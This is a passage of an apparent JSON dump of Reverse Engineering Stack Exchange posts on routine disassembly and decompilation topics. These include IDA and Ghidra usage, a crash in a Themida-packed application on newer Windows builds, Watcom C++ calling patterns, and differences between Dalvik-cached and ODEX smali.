data?</a></p>\n<p>[2] - <a href=\"http://mathemainzel.info/files/x86asmref.html\" rel=\"nofollow noreferrer\">http://mathemainzel.info/files/x86asmref.html</a></p>\n",
        "Title": "Format of data in the .code/.text section",
        "Tags": "|disassembly|malware|static-analysis|",
        "Answer": "<p>Delphi executables store read only data such as RTTI (Run time type information) at the start of CODE section. <code>objdump</code> can\u2019t know that it\u2019s not really code so it tries to disassemble it as instructions and you get nonsense.</p>\n"
    },
    {
        "Id": "29150",
        "CreationDate": "2021-08-17T13:11:18.400",
        "Body": "<p>I'm working in a Delphi binary and found a little issue while generating pseudocode.\nThis is the output (after some clean up) that IDA gives me:</p>\n<pre><code>Integer __fastcall LBCommon::TLBMemStream::GetFromId(PLBMemStream Self, Integer Id)\n{\n  int v4[2]; // [esp+0h] [ebp-10h] BYREF\n\n  if ( LBCommon::IndexFromId(Self-&gt;FFullData, Id, &amp;v4[1]) )\n    v4[0] = &amp;Self-&gt;FFullData[*&amp;Self-&gt;FFullData[sizeof(TLBDataEntry) * v4[1] + 0x19] + offsetof(TLBDataItem, FData)];\n  else\n    v4[0] = 0;\n  return v4[0];\n}\n</code></pre>\n<p>As you can see, it is just a simple piece of code where it does some simple math en then returns. But there is a problem: v4 is represented as an array of integers instead of two separated variables.</p>\n<p>In theory, v4[0] is a &quot;Pointer&quot; to memory that will be returned while v4[1] is a variable that should have a number of times to advance. But IDA thinks of them as an array and just sticks them together. I tried separating them by setting the type to &quot;int v4&quot; and it worked, but IDA then told me:</p>\n<blockquote>\n<p>/ local variable allocation has failed, the output may be wrong!</p>\n</blockquote>\n<p>It also shows the two variables generated with the color red signaling that something is wrong.</p>\n<p>I don't know a lot about how IDA generates the Pseudocode from the ASM, but I believe that the issue is with how the code access the memory regions. For v4[0] it does &quot;<strong>mov edx, [esp+10h+var_10]</strong>&quot; and for v4[1] it does &quot;<strong>mov edx, [esp+10h+var_10+4]</strong>&quot; so I believe that it is the reason why they are seen as an array.</p>\n<p>Here is the function in ASM just in case:</p>\n<pre><code>CODE:0046A7E4 var_10          = dword ptr -10h\nCODE:0046A7E4\nCODE:0046A7E4                 push    ebx\nCODE:0046A7E5                 push    esi\nCODE:0046A7E6                 add     esp, 0FFFFFFF8h\nCODE:0046A7E9                 mov     esi, edx\nCODE:0046A7EB                 mov     ebx, eax\nCODE:0046A7ED                 lea     ecx, [esp+10h+var_10+4] ; Index\nCODE:0046A7F1                 mov     edx, esi        ; FId\nCODE:0046A7F3                 mov     eax, [ebx+4]    ; Header\nCODE:0046A7F6                 call    LBCommon::IndexFromId\nCODE:0046A7FB                 test    al, al\nCODE:0046A7FD                 jz      short loc_46A818\nCODE:0046A7FF                 mov     eax, [ebx+4]\nCODE:0046A802                 mov     edx, [esp+10h+var_10+4]\nCODE:0046A806                 mov     eax, [eax+edx*8+19h]\nCODE:0046A80A                 mov     edx, [ebx+4]\nCODE:0046A80D                 lea     eax, [edx+eax]\nCODE:0046A810                 add     eax, 0Dh\nCODE:0046A813                 mov     [esp+10h+var_10], eax\nCODE:0046A816                 jmp     short loc_46A81D\nCODE:0046A818 ; ---------------------------------------------------------------------------\nCODE:0046A818\nCODE:0046A818 loc_46A818:\nCODE:0046A818                 xor     eax, eax\nCODE:0046A81A                 mov     [esp+10h+var_10], eax\nCODE:0046A81D\nCODE:0046A81D loc_46A81D:\nCODE:0046A81D                 mov     eax, [esp+10h+var_10]\nCODE:0046A820                 pop     ecx\nCODE:0046A821                 pop     edx\nCODE:0046A822                 pop     esi\nCODE:0046A823                 pop     ebx\nCODE:0046A824                 retn\n</code></pre>\n<p>Is there a way to fix the issue without generating an error? Because I don't believe the original developers used an array here to do this simple thing and it is a problem that has been repeating itself for a while in some parts.</p>\n",
        "Title": "IDA Pro shows an array where two varaibles should be",
        "Tags": "|ida|hexrays|delphi|",
        "Answer": "<p>On the machine level, there is no difference between an int[2] array, a structure with two ints, or two int variables that happen to be placed next to each other.</p>\n<p>In addition, sometimes one variable may be stored separately in different locations. For example, when dealing with 64-bit numbers on 32-bit processors, the compiler has to work with 32 bits at a time. A common aproach is to use <code>eax</code> for the low part and <code>edx</code> for the high.</p>\n<p>Your sample seems to be behaving quite similarly (low part of <code>var_10</code> is stored in <code>eax</code> and <code>var_10+4</code> in <code>edx</code>), so possibly it triggers 64-bit math heuristics and the decompiler initially decides that <code>var_10</code> is one 64-bit variable but later replaces it by a two-element array. It's difficult to say what's happening for sure without the database.</p>\n<p>One possible way to separate the variables is to edit the stack frame structure. For this, double-click <code>var_10</code> in disassembly view or <code>v4</code> in pseudocode, then edit <code>var_10</code> to be a dword instead of qword an add another dword after it. Normally this should give a hint to the decompiler that they are separate variables.</p>\n"
    },
    {
        "Id": "29152",
        "CreationDate": "2021-08-17T15:11:42.963",
        "Body": "<p>I have a plugin that I want to install for <code>Ghidra</code>.</p>\n<p>The current way to install the plugin is to go to the <code>file-&gt;Install Extension</code> in the project window, and add my plugin there. However, in my scenario, I don't have an access to the GUI and I want to deploy <code>Ghidra</code> for Headless Analysis.</p>\n<p>For some reason, just copying the plugin files to <code>&lt;ghidra_home&gt;\\Ghidra\\Extensions</code> doesn't do the trick, and it looks like it only partially installs the plugin, and only the GUI way does the complete job.</p>\n<p>Any idea how can I programmatically install plugins for Ghidra?</p>\n",
        "Title": "Install Ghidra plugin without GUI",
        "Tags": "|ghidra|plugin|",
        "Answer": "<p>Instead of modifying the install directory, you can put the extension into your home directory.</p>\n<p>You should manually unzip the extension <code>.zip</code> to <code>~/.ghidra/.ghidra_10.1.1_PUBLIC/Extensions/</code>. (Replace the Ghidra version with whichever you're using.)</p>\n<p>e.g.</p>\n<pre><code>cd ~/.ghidra/.ghidra_10.1.1_PUBLIC/Extensions/\nunzip ~/Downloads/ghidra_10.1.1_PUBLIC_20220127_BinExport.zip \n</code></pre>\n"
    },
    {
        "Id": "29153",
        "CreationDate": "2021-08-17T18:39:47.310",
        "Body": "<p>I have been analyzing an application and I'm getting confused about something.<br />\nWhen I open an executable with OllyDbg, it shows <code>0xAA</code> byte.</p>\n<p><a href=\"https://i.stack.imgur.com/owfNG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/owfNG.png\" alt=\"AA\" /></a></p>\n<p>The same executable opened with CFF explorer at the same location\u2026 shows <code>0x62</code> instead of <code>0xAA</code>.</p>\n<p><a href=\"https://i.stack.imgur.com/y3UtR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/y3UtR.png\" alt=\"62\" /></a></p>\n<p>My question is.. Why is this happening?</p>\n",
        "Title": "Ollydbg - bytes in memory different than on disk",
        "Tags": "|disassembly|",
        "Answer": "<p>I can't post comments, but perhaps you might want to mark your answer as a correct one with  V sign under the answer, so that  the question disappears from unanswered questions queue?</p>\n<p>That will help to keep the site maintained...</p>\n"
    },
    {
        "Id": "29167",
        "CreationDate": "2021-08-20T12:40:19.313",
        "Body": "<p>Background: I have an application that has worked fine up until Windows 10 build 1511 but broke as of build 1607. It produces an access violation:</p>\n<pre><code>STACK_TEXT:  \n03799f54 00f91cfa     24d1ae78 0000000f 0000001f GDI32!ext-ms-win-gdi-internal-desktop-l1-1-0_NULL_THUNK_DATA_DLB+0xc22b\nWARNING: Stack unwind information not available. Following frames may be wrong.\n0379a01c 01570000     00000000 00000000 00000023 THEEXE+0xb91cfa\n0379a038 77015125     00000000 00000000 01ba0254 THEEXE+0x1170000\n0379a088 00cd691c     0379afa8 016a5276 00000000 ntdll!RtlpAllocateHeapInternal+0x155\n00000000 00000000     00000000 00000000 00000000 THEEXE+0x8d691c\n</code></pre>\n<p>Win10 1607 and higher have a change in GDI dll's, before there was only <code>gdi32.dll</code> and <code>GdiPlus.dll</code> but as of 1607 <code>gdi32.dll</code> is basically a stub for a new dll, <code>gdi32full.dll</code></p>\n<p>I want to understand why the app crashes and find a workaround. The fact that the exe is packed makes analyzing it with WinDbg, Ida Pro etc very difficult. PE ID tools suggest that the exe is packed with Themida (Themida v2.0.1.0 - v2.1.8.0 (or newer) + Hide PE Scanner Option).</p>\n<p>I tried to follow a tutorial involving OllyDBG and a script named <code>Themida - Winlicense Ultra Unpacker 1.4.txt</code> and although this seems to go a long way it does not result in a correct unpacked binary. The issue might be that some of the code is executing outside of the address space as defined in the PE sections because I get several errors like this:</p>\n<pre><code>Memory breakpoint range reduced: OllyDbg is unable to activate memory breakpoint on the whole specified address range (EA:   ). Breakpoint is reduced to range 00401000..0086CFFF.\n</code></pre>\n<p>Also tried unthemida 2.0 and unthemida 3.0 but they hang after creating the process (which appears to be terminated). I'm looking for help or pointers on how to unpack the exe so I can analyze the crash.</p>\n<p>A free version of the software that has the same issue can be found <a href=\"https://www.sparxsystems.com/bin/EALite_111.exe\" rel=\"nofollow noreferrer\">here</a> (installer).\nThe exe can be found here: <em>removed</em></p>\n<p>The crash can be reproduced by starting the application and click open on the supplied example project (EAExample.eap).</p>\n",
        "Title": "How to debug / analyze a Themida protected binary",
        "Tags": "|ida|debugging|unpacking|anti-debugging|anti-dumping|",
        "Answer": "<p>I found the cause of the crash which is... Themida \u200d\u2642\ufe0f</p>\n<p>What happens is that from build 1607 and higher some exports have a double redirection using api sets. The app imports a couple of functions from <code>Usp10.dll</code> which have an apiset redirection to <code>Gdi32.dll</code> and inside <code>Gdi32.dll</code> there is an apiset redirection to <code>Gdi32full.dll</code>.</p>\n<p>Themida &quot;understands&quot; or follows the first api set redirection and uses an asm <code>JMP</code> instruction to jump to <code>Gdi32.dll</code>. The ApiSet name is then executed as if it's code, resulting in strange opcodes (but it is of course the api set name in ascii) and thus the crash dump doesn't make sense.</p>\n<p>I've resolved it by writing a <code>JMP</code> instruction at the various API's in <code>Gdi32.dll</code> to the actual implementation in <code>Gdi32full.dll</code> using an attached debugger.</p>\n"
    },
    {
        "Id": "29179",
        "CreationDate": "2021-08-22T13:57:54.410",
        "Body": "<p>I\u2019ve been reading about digital signatures getting ready for some certification, and there is one question regarding this topic, that I don\u2019t really understand.</p>\n<p>Let\u2019s say that I receive a plaintext with digital signature. I use the public key of the sender to decrypt. Now I have a \u201cpure\u201d hash. In order to check if it\u2019s coming from a legitimate person, I need to hash the plaintext on my own.</p>\n<p>But how do I know, which hashing algorithm has been used? Do I check the number of bits of the hashed function or something else?</p>\n",
        "Title": "How to know which hashing algorithm is being used?",
        "Tags": "|cryptography|hash-functions|",
        "Answer": "<p>In most cases the hash algorithm is known beforehand or can be guessed from a short list. For example, RSA signatures usually use some version of the PKCS standard which either specifies the hash or <a href=\"https://pkiglobe.org/pkcs7.html\" rel=\"nofollow noreferrer\">encodes it using ASN.1 format</a>.</p>\n"
    },
    {
        "Id": "29187",
        "CreationDate": "2021-08-24T04:02:23.190",
        "Body": "<p>wondering if folks can help identify this chip.</p>\n<p><a href=\"https://i.stack.imgur.com/dqL6M.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dqL6M.jpg\" alt=\"ATMLH017\" /></a></p>\n<p>It looks like</p>\n<pre><code>ATMLH017\n2FCM  CN\n\u00a92017AB4\n</code></pre>\n<p>Googling all manner of permutations on these numbers has not been helpful.\nThe chip appears next to an ATMEGA1284P.</p>\n",
        "Title": "Identify unknown Atmel chip",
        "Tags": "|hardware|embedded|pcb|",
        "Answer": "<p><a href=\"https://www.waveshare.net/datasheet/ATMEL_PDF/AT24C512C.PDF\" rel=\"nofollow noreferrer\">https://www.waveshare.net/datasheet/ATMEL_PDF/AT24C512C.PDF</a></p>\n<pre><code>|---|---|---|---|---|---|---|---|\n  A   T   M   L   H   Y   W   W\n|---|---|---|---|---|---|---|---|\n  2   F   C   M               @\n|---|---|---|---|---|---|---|---|\n  ATMEL LOT NUMBER\n|---|---|---|---|---|---|---|---|\n  |\nPIN 1 INDICATOR (DOT)\nLINE 1: ATML=ATMEL H=MATERIAL SET/GRADE YWW=DATE CODE\nLINE 2: 2FC=AT24C512C, M=1.7 to 3.6V, @=COUNTRY OF ASSEMBLY\nLINE 3: ATMEL LOT NUMBER\n</code></pre>\n"
    },
    {
        "Id": "29202",
        "CreationDate": "2021-08-25T21:04:41.170",
        "Body": "<p>Based on the assembler listings, a C++ object is locally allocated on the stack without constructing the object in the caller routine and the callee takes the address to the allocated stack space and invokes the constructor. How is this possible using C++? The compiler used is Watcom C/C++ 10.5 from 1995, from way before ISO C++98's arrival. The compiler uses Watcom's register calling convention so first argument is passed in EAX, second in EDX and return value is passed back in EAX. EBP is used as stack frame pointer.</p>\n<p>The caller function is a class A method which reserves space for a class B locally allocated object on the stack frame. Even though the class B object resides on a dword only it is a complex object that internally allocates lots of stuff to the heap when the constructor is called. It is similar to a smart pointer to a smart object. Any ways what I wanted to highlight is that class B is far from a simple struct. ObjectA on the stack frame is class A's <code>this</code> pointer passed to the Caller method in EAX. The caller sets up the arguments to callee. Callee's second argument is an address to the ObjectB stack space.</p>\n<p>Caller function:</p>\n<pre><code>MethodCaller_ proc near\n\nObjectB = dword ptr -8\nObjectA = dword ptr -4\n\n                push    32\n                call    __CHK\n                push    ebx\n                push    ecx\n                push    esi\n                push    edi\n                push    ebp\n                mov     ebp, esp\n                sub     esp, 8\n                mov     [ebp+ObjectA], eax\n                lea     edx, [ebp+ObjectB]\n                mov     eax, [ebp+ObjectA]\n                call    MethodCallee_\n                ...\n\n</code></pre>\n<p>The callee function is also a class A method so first argument is the <code>this</code> pointer. The second argument is the address to a memory space which is passed to the constructor of class B. The construction is not based on assignment and copy constructor, it is a call to the default (implicit?) constructor of class B without allocating memory for the object being constructed.</p>\n<p>Callee function:</p>\n<pre><code>MethodCallee_ proc near\n\nObjectA = dword ptr -8\nObjectB = dword ptr -4\n\n                push    32\n                call    __CHK\n                push    ebx\n                push    ecx\n                push    esi\n                push    edi\n                push    ebp\n                mov     ebp, esp\n                sub     esp, 8\n                mov     [ebp+ObjectA], eax\n                mov     [ebp+ObjectB], edx\n                mov     eax, [ebp+ObjectB]\n                call    ObjectB_Ctor_\n                mov     eax, [ebp+ObjectB]\n                mov     esp, ebp\n                pop     ebp\n                pop     edi\n                pop     esi\n                pop     ecx\n                pop     ebx\n                retn\nMethodCallee_ endp\n\n</code></pre>\n<p>The assembly listings are generated by IDA Freeware 7.0.</p>\n<p>The following statements can be made:</p>\n<ul>\n<li>Operator new is not used to allocate the class B object onto the stack.</li>\n<li>The placement new operator is not used within the callee function to omit allocation at construction. That would have generated totally different code and would have emitted a dummy like operator new for the placement new use case.</li>\n<li>In 1995 there was no std::allocator and any ways it would also require placement new.</li>\n<li>I do not think that the original authors simply created a dword and casted it as I assume as professionals they should have known about dangers of violating stack and object alignment rules as well as I do not think that they called directly the constructors in some wicked ways.</li>\n<li>I tried a lot of stuff to replicate the C++ code and build it again in Watcom C/C++ 10.5 compiler in MS-DOS to get to the same disassembly listing or one that is close to the original, but utterly failed.</li>\n</ul>\n<p>The construct is used in a lot of places within the original program, redesigning the code base would be very difficult.</p>\n<p>Any new ideas would be highly welcome, thanks in advance for any help.</p>\n",
        "Title": "What C++ construct could emit such Watcom C++ 10.5 assembler listing?",
        "Tags": "|assembly|c++|",
        "Answer": "<p>The pattern you describe sounds like the standard pattern for returning objects by value. So you are looking for</p>\n<pre><code>class A {\n    B callee()\n    {\n        return B();\n    }\n    void caller()\n    {\n        B b = callee();\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "29227",
        "CreationDate": "2021-08-28T22:08:32.833",
        "Body": "<p>While looking at <em>that</em> old game I've found a class <code>CStr</code> that is used in an unusual (to me) manner. Most of the times a member of <code>CStr</code> is used, it's done as follows. In both cases, <code>this</code> is a <code>CStr *</code>.</p>\n<p>Decompilation:</p>\n<pre><code>pcVar6 = *(char **)(*(int *)(this + 4) + 8);\n// pcVar6 is then used\n</code></pre>\n<p>Disassembly</p>\n<pre><code>// since the func is a __thiscall, ECX contains &quot;this&quot;\nMOV  ESI ,ECX\nMOV  EAX ,dword ptr [ESI  + 0x4]\nMOV  EDI ,dword ptr [EAX  + 0x8]\n// EDI is then used\n</code></pre>\n<p>This strikes me as odd. If one of the members of <code>CStr</code> is a char array, why isn't it just a single offset? I'm thinking that this has something to do with inheritance, but I'm lacking experience with that to be certain.</p>\n<p>For context, this particular member seems to be a C string. The code comes from a Win32 DLL.</p>\n<p>How do I interpret this correctly? And how do I tell Ghidra how to interpret this?</p>\n<h2>EDIT: More examples</h2>\n<p>I put a lot more here at first, but deleted everything that isn't a case where the CStr object itself is used. It's just a lot more of the line already posted and I doubt that it'll clear anything up. Also, I'm yet to make significat progress in determining what the fields of the objects are, sadly :(</p>\n<hr>  \n<p>Example of CStr being used in constructor. <code>this</code> is a CMachineController here.</p>\n<pre><code>// CMachineController::CMachineController\nCStr::CStr((CStr *)&amp;this-&gt;field_0x4); // could be labeled as &quot;cstring&quot;?\n</code></pre>\n<hr>  \n  \nPart of a longer function. It seems to acquire an instance by reading a config object, then does some manipulation and destroys the CStr.    \n  \nVar types as follows:\n - bool bVar3;\n - CConfig* pcVar8;\n - CStr aCStack20[8];\n - undefined4 local4; (a 4-byte-wide number of some kind)\n - stack0xff... is created by (`MOV this, ESP / MOV dword ptr [ESP+0x3c], ESP`)\n - CMachineController* this;\n<pre><code>// CMachineController::Init()\n...\nbVar3 = CConfig::HasValue(pCVar8,s_AutoStart_10056dc4);\nif (bVar3 != false) {\n  CConfig::GetValue(this-&gt;config,(char *)aCStack20);\n  CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20);\n  (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))();\n  CStr::~CStr(aCStack20);\n}\n...\n</code></pre>\n<p>Without any more info on what would be considered useful, this is the best I can think of atm.</p>\n",
        "Title": "How do I interpret this double offset?",
        "Tags": "|windows|x86|c++|static-analysis|",
        "Answer": "<p>You probably didn't catch that CStr is a variable in another class. This should be how it looks like from the data I can see.</p>\n<pre><code>class CStr {\n    int placeholder[2]; // unknown 0x8 bytes\n    char* somestring;\n}\nclass some1 {\n   int placeholder; // unknown 0x4 bytes\n   CStr* cstr;\n}\n</code></pre>\n<p><code>char* ptr = &amp;(some1-&gt;cstr-&gt;somestring)</code> would result in the pseudocode you see generated</p>\n<pre><code>*(char **)(*(int *)(this + 4) + 8);\n</code></pre>\n<p>EDIT : update after OP posted new pseudocode\nI should say first that I don't actually use Ghidra, so I am not very familiar with its pseudocode syntax and reliability(in how accurately it translated the asm code to pseudocode). I would suggest that you dont always trust what you see in the pseudocode, because it won't always be accurate, especially when it comes to the handling of registers and stack (frames).</p>\n<p>Here's my take based on the information you gave. Not sure how helpful it is to what your finding exactly, but i'll just write my analysis based on what I see.</p>\n<pre><code>CStr::CStr((CStr *)&amp;this-&gt;field_0x4); // could be labeled as &quot;cstring&quot;?\n</code></pre>\n<p>If Ghirda accurately converted the type, then yes you can just take <code>field_0x4</code> to be <code>CStr</code>. Its hard to say that based on just one line of code though, so lets look further.</p>\n<pre><code>// CMachineController::Init()\n...\nbVar3 = CConfig::HasValue(pCVar8,s_AutoStart_10056dc4);\nif (bVar3 != false) {\n  CConfig::GetValue(this-&gt;config,(char *)aCStack20);\n  CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20);\n  (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))();\n  CStr::~CStr(aCStack20);\n}\n...\n</code></pre>\n<p>This line is retrieving some sort of config value ? or config string, before storing it into <code>aCStack20</code></p>\n<pre><code>CConfig::GetValue(this-&gt;config,(char *)aCStack20);\n</code></pre>\n<p>Take a look at the code below.</p>\n<pre><code>  CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20);\n  (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))();\n  CStr::~CStr(aCStack20);\n</code></pre>\n<p>Notice how the function call doesn't have any parameters? Although the line before seems to manipulate/create a CStr instance and destroys it right after?</p>\n<pre><code> (**(code **)(**(int **)&amp;this-&gt;field_0x18 + 0x14))();\n</code></pre>\n<p>If a data is manipulated, it is meant to be used. Otherwise, there is no need to manipulate the data. Hence, it is likely that</p>\n<pre><code>  CStr::CStr((CStr *)&amp;stack0xffffffd0,aCStack20);\n</code></pre>\n<p>Is copying <code>aCStack20</code> into <code>stack0xffffffd0</code>.</p>\n<p>Currently we see that there are to ways to initialize a <code>CStr</code> class</p>\n<pre><code>CStr::CStr((CStr *)&amp;this-&gt;field_0x4); // CStr(CStr* callervar) - perhaps initialize with some default values? \nCStr::Cstr((CStr *)&amp;stack0xffffffd0,aCStack20); // CStr(CStr* copyto, CStr* copyfrom) - initialize copyto with copyfrom ?\n</code></pre>\n<p>When you said</p>\n<blockquote>\n<p>make significat progress in determining what the fields of the\nobjects are, sadly :(</p>\n</blockquote>\n<p>Are you referring to the <code>CStr</code> class? Or <code>&amp;this-&gt;field_0xOFFSET</code>? At this point we still do not actually know what the <code>int placeholder[2] // unknown 0x8 bytes</code> is. But my guess is probably data relating to the string, e.g size of string, type of string, what the string is used for / what does it represent and so on.\nIt may just be easier to debug the program and see what values are at the first 8 bytes of the <code>CStr</code> instance.</p>\n"
    },
    {
        "Id": "29262",
        "CreationDate": "2021-09-08T00:32:43.107",
        "Body": "<p>This is original smali code of a classes.dex method before installation</p>\n<pre><code>.method public static createAutoMatchCriteria(IIJ)Landroid/os/Bundle;\n    .registers 6\n\n    new-instance v0, Landroid/os/Bundle;\n\n    invoke-direct {v0}, Landroid/os/Bundle;-&gt;&lt;init&gt;()V\n\n    const-string v1, &quot;min_automatch_players&quot;\n\n    invoke-virtual {v0, v1, p0}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V\n\n    const-string p0, &quot;max_automatch_players&quot;\n\n    invoke-virtual {v0, p0, p1}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V\n\n    const-string p0, &quot;exclusive_bit_mask&quot;\n\n    invoke-virtual {v0, p0, p2, p3}, Landroid/os/Bundle;-&gt;putLong(Ljava/lang/String;J)V\n\n    return-object v0\n.end method\n</code></pre>\n<p>This is edited smali code of a classes.dex method before installation</p>\n<pre><code>.method public static createAutoMatchCriteria(IIJ)Landroid/os/Bundle;\n    .registers 6\n\n    new-instance v0, Landroid/os/Bundle;\n\n    invoke-direct {v0}, Landroid/os/Bundle;-&gt;&lt;init&gt;()V\n\n    const-string v1, &quot;min_automatch_players&quot;\n\n    const/4 p0, 0x2\n\n    invoke-virtual {v0, v1, p0}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V\n\n    const-string p0, &quot;max_automatch_players&quot;\n\n    const/16 p1, 0x14\n\n    invoke-virtual {v0, p0, p1}, Landroid/os/Bundle;-&gt;putInt(Ljava/lang/String;I)V\n\n    const-string p0, &quot;exclusive_bit_mask&quot;\n\n    invoke-virtual {v0, p0, p2, p3}, Landroid/os/Bundle;-&gt;putLong(Ljava/lang/String;J)V\n\n    return-object v0\n.end method\n</code></pre>\n<p>This is the same method but of the classes.dex extracted from dalvik cache.</p>\n<pre><code>.method public static createAutomatchCriteria(IIJ)Landroid/os/Bundle\n    .registers 6\n\nnew-instance v0 Landroid/os/Bundle;\n\ninvoke-direct {v0} Landroid/os/Bundle;-&gt;&lt;init&gt;()V\n\nconst-string v1 &quot;min_automatch_players&quot;\n\nconst/4 v2 0x2 \n\nconst-string v2 &quot;max_automatch_players&quot;\n\nconst/16 v3 0x14\n\nconst-string v2 &quot;exclusive_bit_mask&quot;\n\nreturn-object v0\n\n</code></pre>\n<p>Where did the virtual invocations after those integer constants go?\nAm i missing something? Or does dalvik store those invocations somewhere else?</p>\n",
        "Title": "why does dalvik remove invocations during optimisation?",
        "Tags": "|decompilation|android|byte-code|dalvik|",
        "Answer": "<p>A class I extracted from Dalvik cache (<code>classes.dex</code>):</p>\n<pre><code>if-ne v0 v9 :label_7\nconst/4 v0 0 \nlabel_7:\nconst/4 v1 0 \nconst/4 v2 -1 \nif-ne v0 v2 :label_14\nreturn v1\nlabel_14:\nconst/4 v3 0 \nconst/4 v4 -1 \nlabel_16:\nif-eq v0 v2 :label_91\nif-ge v3 v5 :label_91\naget v5 v5 v0\nif-ne v5 v6 :label_81\nif-ne v0 v1 :label_41\naget v1 v1 v0\ngoto :label_47\nlabel_41:\naget v3 v1 v0\naput v3 v1 v4\nlabel_47:\nif-eqz v10 :label_54\nlabel_54:\nadd-int/lit8 v10 v10 -1\nadd-int/lit8 v9 v9 -1\naput v2 v9 v0\nif-eqz v9 :label_76\nlabel_76:\naget v9 v9 v0\nreturn v9\nlabel_81:\naget v4 v4 v0\nadd-int/lit8 v3 v3 1\nmove v7 v4\nmove v4 v0\nmove v0 v7\ngoto :label_16\nlabel_91:\nreturn v1\n</code></pre>\n<p>Exactly the same class extracted from the ODEX file of the app (not from the Dalvik cache):</p>\n<pre><code>iget-object v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;e:Landroidx/constraintlayout/solver/SolverVariable;\nif-ne v0 v9 :label_7\nconst/4 v0 0 \niput-object v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;e:Landroidx/constraintlayout/solver/SolverVariable;\nlabel_7:\niget v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;i:I\nconst/4 v1 0 \nconst/4 v2 -1 \nif-ne v0 v2 :label_14\nreturn v1\nlabel_14:\nconst/4 v3 0 \nconst/4 v4 -1 \nlabel_16:\nif-eq v0 v2 :label_91\niget v5 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;a:I\nif-ge v3 v5 :label_91\niget-object v5 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;f:[I\naget v5 v5 v0\niget v6 v9 Landroidx/constraintlayout/solver/SolverVariable;-&gt;a:I\nif-ne v5 v6 :label_81\niget v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;i:I\nif-ne v0 v1 :label_41\niget-object v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;g:[I\naget v1 v1 v0\niput v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;i:I\ngoto :label_47\nlabel_41:\niget-object v1 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;g:[I\naget v3 v1 v0\naput v3 v1 v4\nlabel_47:\nif-eqz v10 :label_54\niget-object v10 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;b:Landroidx/constraintlayout/solver/ArrayRow;\ninvoke-virtual {v9,v10} Landroidx/constraintlayout/solver/SolverVariable;-&gt;b(Landroidx/constraintlayout/solver/ArrayRow;)V\nlabel_54:\niget v10 v9 Landroidx/constraintlayout/solver/SolverVariable;-&gt;i:I\nadd-int/lit8 v10 v10 -1\niput v10 v9 Landroidx/constraintlayout/solver/SolverVariable;-&gt;i:I\niget v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;a:I\nadd-int/lit8 v9 v9 -1\niput v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;a:I\niget-object v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;f:[I\naput v2 v9 v0\niget-boolean v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;k:Z\nif-eqz v9 :label_76\niput v0 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;j:I\nlabel_76:\niget-object v9 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;h:[F\naget v9 v9 v0\nreturn v9\nlabel_81:\niget-object v4 v8 Landroidx/constraintlayout/solver/ArrayLinkedVariables;-&gt;g:[I\naget v4 v4 v0\nadd-int/lit8 v3 v3 1\nmove v7 v4\nmove v4 v0\nmove v0 v7\ngoto :label_16\nlabel_91:\nreturn v1\n</code></pre>\n<p>Turns out that the app displayed correctly everything.</p>\n<p>As you can see, the ODEX file contains the invocations I was looking for. It seems like the ODEX file is identical to the <code>classes.dex</code> in the APK. I also tested and found that when the application used a <code>classes.dex</code> (not <code>.odex</code>), a process called <code>dexopt</code> runs before the app opens, and in my opinion I think that it fetches those invocations and maybe more data from the <code>classes.dex</code> inside the APK.</p>\n<p>That's why I noticed that the odexed app launched faster than when it was deodexed. From many articles I read, they stated that ODEX files are like a copy of the app, and when launching, no further data needs to be extracted from the application.</p>\n<p>Anyway, maybe this question was irrelevant since DVM is becoming obsolete (or has become) as from Android 5 ART has replaced it.</p>\n<p>By the way, this <code>.dex</code> file is from a different app from the one I used in the question.</p>\n"
    },
    {
        "Id": "29264",
        "CreationDate": "2021-09-08T09:22:57.527",
        "Body": "<p>Suppose I have self-compiled exe-file (aka portable executable), its source (c/c++) and generated pdb-file. And what if I want to get offset of its function (non-winapi function) in debugger (x64dbg, whatever) to set breakpoint on it? I would like to know/learn about existing reversing techniques to do it.</p>\n",
        "Title": "How to get offset of specific function in exe?",
        "Tags": "|debugging|x64dbg|executable|x86-64|",
